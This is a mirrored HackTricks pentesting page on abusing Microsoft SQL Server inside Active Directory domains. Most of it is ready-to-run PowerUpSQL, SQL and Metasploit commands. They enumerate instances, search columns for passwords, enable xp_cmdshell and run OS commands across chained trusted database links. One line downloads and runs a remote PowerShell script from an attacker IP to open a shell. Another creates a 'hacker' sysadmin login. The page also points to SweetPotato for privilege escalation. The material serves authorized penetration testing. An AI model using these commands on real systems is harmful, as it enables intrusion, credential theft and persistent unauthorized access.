mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 09:34:03 +00:00
217 lines
11 KiB
Markdown
217 lines
11 KiB
Markdown
# MSSQL AD Abuse
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
## **MSSQL Enumeration / Discovery**
|
||
|
||
The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case.
|
||
|
||
```powershell
|
||
Import-Module .\PowerupSQL.psd1
|
||
```
|
||
|
||
### Enumerating from the network without domain session
|
||
|
||
```powershell
|
||
# Get local MSSQL instance (if any)
|
||
Get-SQLInstanceLocal
|
||
Get-SQLInstanceLocal | Get-SQLServerInfo
|
||
|
||
#If you don't have a AD account, you can try to find MSSQL scanning via UDP
|
||
#First, you will need a list of hosts to scan
|
||
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
|
||
|
||
#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
|
||
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
|
||
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
|
||
```
|
||
|
||
### Enumerating from inside the domain
|
||
|
||
```powershell
|
||
# Get local MSSQL instance (if any)
|
||
Get-SQLInstanceLocal
|
||
Get-SQLInstanceLocal | Get-SQLServerInfo
|
||
|
||
#Get info about valid MSQL instances running in domain
|
||
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
|
||
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
|
||
|
||
#Test connections with each one
|
||
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
|
||
|
||
#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
|
||
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
|
||
|
||
# Get DBs, test connections and get info in oneliner
|
||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
|
||
```
|
||
|
||
## MSSQL Basic Abuse
|
||
|
||
### Access DB
|
||
|
||
```powershell
|
||
#Perform a SQL query
|
||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
|
||
|
||
#Dump an instance (a lotof CVSs generated in current dir)
|
||
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
|
||
|
||
# Search keywords in columns trying to access the MSSQL DBs
|
||
## This won't use trusted SQL links
|
||
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
|
||
```
|
||
|
||
### MSSQL RCE
|
||
|
||
It might be also possible to **execute commands** inside the MSSQL host
|
||
|
||
```powershell
|
||
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
|
||
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
|
||
```
|
||
|
||
Check in the page mentioned in the **following section how to do this manually.**
|
||
|
||
### MSSQL Basic Hacking Tricks
|
||
|
||
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
||
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||
{% endcontent-ref %}
|
||
|
||
## MSSQL Trusted Links
|
||
|
||
If a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
|
||
|
||
**The links between databases work even across forest trusts.**
|
||
|
||
### Powershell Abuse
|
||
|
||
```powershell
|
||
#Look for MSSQL links of an accessible instance
|
||
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
|
||
|
||
#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
|
||
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
|
||
|
||
#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
|
||
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
|
||
|
||
#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
|
||
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
|
||
|
||
#Obtain a shell
|
||
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
|
||
|
||
#Check for possible vulnerabilities on an instance where you have access
|
||
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
|
||
|
||
#Try to escalate privileges on an instance
|
||
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
|
||
|
||
#Manual trusted link queery
|
||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
|
||
## Enable xp_cmdshell and check it
|
||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
|
||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
|
||
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
|
||
## If you see the results of @@selectname, it worked
|
||
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
|
||
```
|
||
|
||
### Metasploit
|
||
|
||
You can easily check for trusted links using metasploit.
|
||
|
||
```bash
|
||
#Set username, password, windows auth (if using AD), IP...
|
||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||
```
|
||
|
||
Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.)
|
||
|
||
### Manual - Openquery()
|
||
|
||
From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.**
|
||
|
||
From **Windows** you could also find the links and execute commands manually using a **MSSQL client like** [**HeidiSQL**](https://www.heidisql.com)
|
||
|
||
_Login using Windows authentication:_
|
||
|
||
 (1).png>)
|
||
|
||
#### Find Trustable Links
|
||
|
||
```sql
|
||
select * from master..sysservers
|
||
```
|
||
|
||
.png>)
|
||
|
||
#### Execute queries in trustable link
|
||
|
||
Execute queries through the link (example: find more links in the new accessible instance):
|
||
|
||
```sql
|
||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||
```
|
||
|
||
{% hint style="warning" %}
|
||
Check where double and single quotes are used, it's important to use them that way.
|
||
{% endhint %}
|
||
|
||
.png>)
|
||
|
||
You can continue these trusted links chain forever manually.
|
||
|
||
```sql
|
||
# First level RCE
|
||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||
|
||
# Second level RCE
|
||
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
|
||
```
|
||
|
||
If you cannot perform actions like `exec xp_cmdshell` from `openquery()` try with the `EXECUTE` method.
|
||
|
||
### Manual - EXECUTE
|
||
|
||
You can also abuse trusted links using `EXECUTE`:
|
||
|
||
```bash
|
||
#Create user and give admin privileges
|
||
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
|
||
```
|
||
|
||
## Local Privilege Escalation
|
||
|
||
The **MSSQL local user** usually has a special type of privilege called **`SeImpersonatePrivilege`**. This allows the account to "impersonate a client after authentication".
|
||
|
||
A strategy that many authors have come up with is to force a SYSTEM service to authenticate to a rogue or man-in-the-middle service that the attacker creates. This rogue service is then able to impersonate the SYSTEM service whilst it's trying to authenticate.
|
||
|
||
[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|